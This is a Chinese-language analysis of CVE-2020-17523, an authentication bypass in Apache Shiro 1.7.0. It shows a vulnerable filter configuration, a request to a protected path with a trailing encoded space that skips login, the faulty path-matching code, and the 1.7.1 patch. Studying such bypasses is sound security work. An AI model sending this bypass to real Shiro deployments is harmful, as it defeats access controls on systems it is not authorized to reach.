0x00 exploit
pom的配置如下：
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.7.0</version>
</dependency>
shiro认证的配置如下：
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<String, String>();
map.put("/hello/*", "authc");
//map.put("/hello/**", "authc"); //in version 1.7.0 will not trigger CVE-2020-17523
bean.setFilterChainDefinitionMap(map);
return bean;
spring访问的配置如下：
@RequestMapping("/hello/{name}")
public String hello2(@PathVariable String name) {
return "auth hello/{_" + name + "_}, there ";
}
application.properties配置如下：
server.context-path=/test
正常的请求：
http://127.0.0.1:8080/test/hello/a
response：重定向到login
权限绕过的请求：
http://127.0.0.1:8080/test/hello/%20
response为：“auth hello/{_ _}, there”
0x01 analyze
跟踪代码的执行流程，发现在AntPathMatcher.java中的doMatch函数，关键代码：
String[] pattDirs = StringUtils.tokenizeToStringArray(pattern, this.pathSeparator);
String[] pathDirs = StringUtils.tokenizeToStringArray(path, this.pathSeparator);
if (pathIdxStart > pathIdxEnd) {
// Path is exhausted, only match if rest of pattern is * or **'s
if (pattIdxStart > pattIdxEnd) {
return (pattern.endsWith(this.pathSeparator) ?
path.endsWith(this.pathSeparator) : !path.endsWith(this.pathSeparator));
}
if (!fullMatch) {
return true;
}
if (pattIdxStart == pattIdxEnd && pattDirs[pattIdxStart].equals("*") &&
path.endsWith(this.pathSeparator)) {
return true;
}
for (int i = pattIdxStart; i <= pattIdxEnd; i++) {
if (!pattDirs[i].equals("**")) {
return false;//here
}
}
return true;
}
在path为"/hello/ "且pattern为"/hello/*"时:
pattDirs=["hello","*"];
pathDirs=["hello"];
上面的代码返回值为false，因此，未匹配上。
当将shiro的配置修改为如下时，此认证绕过漏洞绕过不会触发
map.put("/hello/**", "authc")
0x02 ant风格中的通配符
?：匹配一个字符
*：匹配零个或者多个字符串
**：匹配零个或者多个路径
0x03 patch包分析
diff 1.7.0与1.7.1的源码
https://github.com/apache/shiro/compare/shiro-root-1.7.0...shiro-root-1.7.1
patch的根源在于AntPathMatcher.java中的doMatch函数,更新了tokenizeToStringArray的调用
String[] pattDirs = StringUtils.tokenizeToStringArray(pattern, this.pathSeparator, false, true);
String[] pathDirs = StringUtils.tokenizeToStringArray(path, this.pathSeparator, false, true);
在path为"/hello/ "且pattern为"/hello/*"时:
pattDirs=["hello","*"];
pathDirs=["hello"," "];
上面的代码返回值为true，因此，匹配成功。
在1.7.0版本中，StringUtils.tokenizeToStringArray的第三个默认参数为true，这个参数的不同，导致了pattDirs数组结果的不同。
public static String[] tokenizeToStringArray(String str, String delimiters) {
return tokenizeToStringArray(str, delimiters, true, true);
}
public static String[] tokenizeToStringArray(String str, String delimiters, boolean trimTokens, boolean ignoreEmptyTokens) {
if (str == null) {
return null;
} else {
StringTokenizer st = new StringTokenizer(str, delimiters);
ArrayList tokens = new ArrayList();
while(true) {
String token;
do {
if (!st.hasMoreTokens()) {
return toStringArray(tokens);
}
token = st.nextToken();
if (trimTokens) {
token = token.trim();
}
} while(ignoreEmptyTokens && token.length() <= 0);
tokens.add(token);
}
}
}
0x04 References
https://blog.csdn.net/wanliangsoft/article/details/86533754
https://mp.weixin.qq.com/s/2K3b-LFA1dc-5sFHKwK_6A
